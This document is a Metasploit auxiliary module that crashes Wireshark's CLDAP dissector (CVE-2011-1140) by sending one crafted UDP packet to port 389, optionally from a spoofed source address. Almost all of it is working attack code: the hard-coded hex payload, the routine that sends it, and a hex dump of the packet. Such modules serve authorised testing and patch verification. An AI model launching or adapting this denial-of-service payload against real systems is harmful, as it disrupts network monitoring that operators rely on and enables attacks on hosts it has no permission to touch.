Wireshark CLDAP Dissector Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super( update_info(info,  
'Name' => 'Wireshark CLDAP Dissector DOS',  
'Description' => %q{  
This module causes infinite recursion to occur within the  
CLDAP dissector by sending a specially crafted UDP packet.  
},  
'Author' => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-1140'],  
[ 'OSVDB', '71552'],  
[ 'URL', 'https://www.wireshark.org/security/wnpa-sec-2011-04.html' ],  
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],  
],  
'DisclosureDate' => '2011-03-01'))  
  
register_options([  
OptInt.new('RPORT', [true, 'The destination port', 389]),  
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])  
])  
end  
  
def run  
connect_udp  
cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+  
"\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+  
"\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+  
"\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+  
"\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+  
"\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+  
"\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+  
"\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+  
"\x0a\x01\x00\x04\x00\x04\x00"  
print_status("Sending malformed CLDAP packet to #{rhost}")  
udp_sock.put(cldap_payload)  
end  
end  
=begin  
Packet Dump:  
0000050: b054 3081 a202 0101 6481 9c04 0030 8197 .T0.....d....0..  
0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187 0....netlogon1..  
0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f .............R./  
0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e ..H..N.Q.`......  
0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018 contact-samba4..  
00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43 .CONTACTDOM..\\C  
00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000 ONTACT-SAMBA4...  
00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101 ..a........0....  
00000d0: 6507 0a01 0004 0004 00 e........  
=end  
`